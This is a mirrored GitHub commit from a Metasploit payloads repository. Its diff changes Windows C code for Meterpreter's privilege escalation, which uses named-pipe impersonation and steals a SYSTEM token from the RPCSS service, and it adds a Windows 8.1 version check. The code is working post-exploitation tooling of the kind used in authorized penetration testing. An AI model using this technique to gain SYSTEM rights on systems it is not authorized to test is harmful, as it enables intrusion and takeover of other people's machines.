1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-14 17:37:27 +01:00

Filter out Windows < 6.3 for the namedpipe_rpcss technique

This commit is contained in:
Spencer McIntyre 2020-08-19 18:08:51 -04:00
parent 666ee4f57e
commit 25a0b76797
2 changed files with 46 additions and 26 deletions

View File

@ -1,4 +1,3 @@
#include <winternl.h>
#include "precomp.h"
#include "common_metapi.h"
#include "namedpipe.h"
@ -82,9 +81,9 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
continue;
}
dprintf("[ELEVATE] pipethread. receieved a client connection");
dprintf("[ELEVATE] elevate_namedpipe_thread. receieved a client connection");
// we can't impersonate a client untill we have performed a read on the pipe...
// we can't impersonate a client until we have performed a read on the pipe...
if (!ReadFile(hPipe, &bMessage, 1, &dwBytes, NULL)) {
CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
}
@ -95,6 +94,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
}
if (pPostImpersonation) {
dprintf("[ELEVATE] elevate_namedpipe_thread. dispatching to the post impersonation callback");
dwResult = pPostImpersonation->pCallback(pPostImpersonation->pCallbackParam);
if (dwResult != ERROR_SUCCESS) {
RevertToSelf();
@ -144,7 +144,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
// filter out Windows NT4
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
SetLastError(ERROR_ACCESS_DENIED);
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
}

View File

@ -8,6 +8,7 @@
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
typedef NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
typedef NTSTATUS(WINAPI* NTQUERYOBJECT)(HANDLE Handle, DWORD ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
typedef NTSTATUS(WINAPI* PRtlGetVersion)(LPOSVERSIONINFOEXW);
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation = 0,
@ -136,9 +137,11 @@ DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
ULONG ulLength = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION);
ULONG tokenIndex;
ULONG i;
DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
ULONG ulMaxPrivCount = 0;
HANDLE hToken = NULL;
HANDLE hBestToken = NULL;
HANDLE hThread = GetCurrentThread();
DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
TOKEN_STATISTICS tokenStats;
LUID systemLuid = SYSTEM_LUID;
HMODULE hNtdll = NULL;
@ -177,7 +180,8 @@ DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
if (status == STATUS_INFO_LENGTH_MISMATCH) {
continue;
}
BREAK_WITH_ERROR("[ELEVATE] get_system_token. NtQueryInformationProcess failed", ERROR_UNIDENTIFIED_ERROR);
dprintf("NtQueryInformationProcess returned NT_STATUS: %ul", status);
BREAK_WITH_ERROR("[ELEVATE] get_system_token. NtQueryInformationProcess failed", status);
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (!NT_SUCCESS(status)) {
@ -189,8 +193,7 @@ DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
continue;
}
// TODO: this 0xf01ff value needs to be examined...
if (pHandleInfo->Handles[i].GrantedAccess != 0xf01ff) {
if ((pHandleInfo->Handles[i].GrantedAccess & TOKEN_ALL_ACCESS) != TOKEN_ALL_ACCESS) {
continue;
}
@ -208,23 +211,24 @@ DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
continue;
}
// TODO: check this value for systems older than Windows 10
if (tokenStats.PrivilegeCount < 22) {
if (tokenStats.PrivilegeCount <= ulMaxPrivCount) {
CloseHandle(hToken);
continue;
}
if (!SetThreadToken(&hThread, hToken)) {
CloseHandle(hToken);
CONTINUE_ON_ERROR("[ELEVATE] get_system_token. SetThreadToken failed");
// newer versions of windows have more defined privileges so update the best token to the one with the most
ulMaxPrivCount = tokenStats.PrivilegeCount;
if (hBestToken) {
CloseHandle(hBestToken);
}
*phToken = hToken;
dwResult = ERROR_SUCCESS;
break;
hBestToken = hToken;
}
} while (0);
if (hBestToken) {
*phToken = hBestToken;
dwResult = ERROR_SUCCESS;
}
if (pHandleInfo) {
HeapFree(GetProcessHeap(), 0, pHandleInfo);
}
@ -236,6 +240,7 @@ DWORD post_callback_use_rpcss(Remote* remote)
SC_HANDLE hScm = NULL;
SC_HANDLE hSvc = NULL;
HANDLE hProc = NULL;
HANDLE hThread = GetCurrentThread();
SERVICE_STATUS_PROCESS procInfo;
DWORD dwBytes;
DWORD dwResult = ERROR_ACCESS_DENIED;
@ -262,7 +267,12 @@ DWORD post_callback_use_rpcss(Remote* remote)
}
if (get_system_token(hProc, &hToken) != ERROR_SUCCESS) {
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. get_system_token failed");
BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. get_system_token failed", ERROR_UNIDENTIFIED_ERROR);
}
if (!SetThreadToken(&hThread, hToken)) {
CloseHandle(hToken);
BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. SetThreadToken failed", ERROR_ACCESS_DENIED);
}
dwResult = ERROR_SUCCESS;
@ -295,21 +305,31 @@ DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet)
HANDLE hSem = NULL;
char cPipeName1[MAX_PATH] = { 0 };
char cPipeName2[MAX_PATH] = { 0 };
OSVERSIONINFO os = { 0 };
HMODULE hNtdll = NULL;
OSVERSIONINFOEXW os = { 0 };
HANDLE hPipe = NULL;
DWORD dwPipeUid[2] = { 0, 0 };
PRIV_POST_IMPERSONATION PostImpersonation;
PRtlGetVersion pRtlGetVersion = NULL;
do {
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&os)) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: GetVersionEx failed")
hNtdll = GetModuleHandleA("ntdll");
if (hNtdll == NULL) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
}
// TODO: actually test this on XP / server 2003
// filter out systems older than Windows XP (5.1) for this technique
if ((os.dwMajorVersion < 5) || (os.dwMajorVersion == 5 && os.dwMinorVersion == 0)) {
SetLastError(ERROR_ACCESS_DENIED);
pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
if (pRtlGetVersion == NULL) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
}
if (pRtlGetVersion(&os)) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: RtlGetVersion failed");
}
// filter out systems older than Windows 8.1 / Server 2012 R2 (6.3) for this technique
if ((os.dwMajorVersion < 6) || (os.dwMajorVersion == 6 && os.dwMinorVersion < 3)) {
SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Windows 2000 and older are unsupported");
}